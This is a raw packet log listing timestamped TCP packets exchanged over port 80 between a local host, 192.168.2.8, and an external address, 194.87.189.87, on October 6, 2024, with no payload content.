Oct 6, 2024 21:28:16.558659077 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558672905 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558674097 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.558697939 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.558718920 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.558764935 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558803082 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.558846951 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558886051 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.558943987 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558958054 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.558983088 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.558996916 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559000969 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559015989 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559041023 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559060097 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559144974 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559158087 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559185982 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559201956 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559214115 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559257984 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559264898 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559305906 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559331894 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559370995 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559396982 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559428930 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559438944 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559441090 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559469938 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559472084 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559485912 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559509993 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559520006 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559560061 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559612989 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559626102 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559648037 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559662104 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559664965 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559679985 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559709072 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559792995 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559808016 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559834957 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559842110 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559854984 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.559870958 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.559896946 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.561722994 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.561786890 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.561794043 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.561836958 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.561841011 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.561851978 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.561866045 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.561880112 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.561908007 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.561933994 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.561956882 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.561969042 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.561975956 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562014103 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562064886 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562077999 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562107086 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562114954 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562122107 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562140942 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562165022 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562177896 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562191963 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562212944 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562217951 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562259912 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562263966 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562273026 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562298059 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562302113 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562318087 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562336922 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562359095 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562387943 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562410116 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562432051 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562489986 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562510967 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562527895 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562552929 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562570095 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562582970 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562611103 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562628984 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562824011 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562836885 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562866926 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562890053 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.562958956 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562972069 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.562994003 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563004971 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.563005924 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563019991 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.563046932 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.563095093 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563107967 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563138008 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563138008 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.563152075 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563170910 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.563196898 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.563220024 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563231945 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563275099 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.563301086 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563313961 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563334942 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563344002 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.563350916 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563381910 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.563406944 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.563496113 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563539982 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.563606024 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563644886 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.563766003 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563807011 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.563842058 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563863993 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563877106 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.563885927 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.563909054 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.563926935 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.564037085 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.564080954 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.564090014 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.564126968 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.564186096 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.564208031 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.564225912 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.564246893 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.564357996 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.564371109 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.564400911 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.564419985 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.564448118 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.564460993 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.564495087 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.564517975 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.564560890 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.564596891 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.564636946 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.564650059 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.564662933 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.564672947 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.564706087 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.564924002 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.564961910 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.564971924 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565011024 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565098047 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565110922 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565124035 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565143108 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565150023 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565162897 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565195084 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565203905 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565208912 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565231085 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565243006 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565249920 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565268993 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565293074 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565354109 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565366983 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565414906 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565450907 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565491915 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565530062 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565542936 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565566063 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565572977 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565589905 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565608025 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565613985 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565627098 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565653086 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565671921 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565745115 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565766096 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565794945 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565804005 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565815926 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565828085 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565840006 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565841913 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565861940 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565881014 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565926075 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565937996 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565949917 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.565968990 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.565992117 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.566122055 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.566134930 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.566164017 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.566195011 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.566230059 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.566242933 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.566277027 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.566301107 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.566348076 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.566396952 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.566435099 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.566478968 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.566483974 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.566521883 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.566543102 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.566582918 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.566587925 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.566601992 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.566628933 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.566648006 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.566755056 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.566767931 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.566804886 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.566826105 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.566895008 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.566946030 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.566947937 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.566984892 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567053080 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567092896 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567095041 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567116976 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567131996 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567159891 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567164898 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567209005 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567213058 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567250967 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567253113 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567286968 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567296028 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567322969 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567375898 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567416906 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567425013 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567440033 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567455053 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567476034 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567523956 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567562103 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567568064 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567600965 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567604065 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567641973 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567673922 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567697048 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567718983 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567737103 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567755938 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567795038 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567884922 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567893982 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567924023 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567945004 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.567962885 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.567971945 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568000078 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568008900 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568021059 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568022966 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568042040 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568062067 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568087101 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568103075 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568130970 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568155050 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568376064 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568384886 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568417072 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568438053 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568447113 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568486929 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568489075 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568521976 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568543911 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568552971 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568567991 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568588972 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568592072 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568619967 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568636894 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568723917 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568732977 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568763018 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568783045 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568790913 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568830013 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568869114 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568877935 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568887949 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.568912029 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568938017 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.568995953 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569004059 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569036961 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569037914 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569047928 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569062948 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569087029 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569096088 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569104910 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569129944 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569164991 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569200993 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569211006 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569240093 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569255114 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569262028 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569264889 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569291115 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569315910 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569335938 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569344997 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569372892 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569396973 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.569428921 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.569437981 CEST	80	49748	194.87.189.87	192.168.2.8
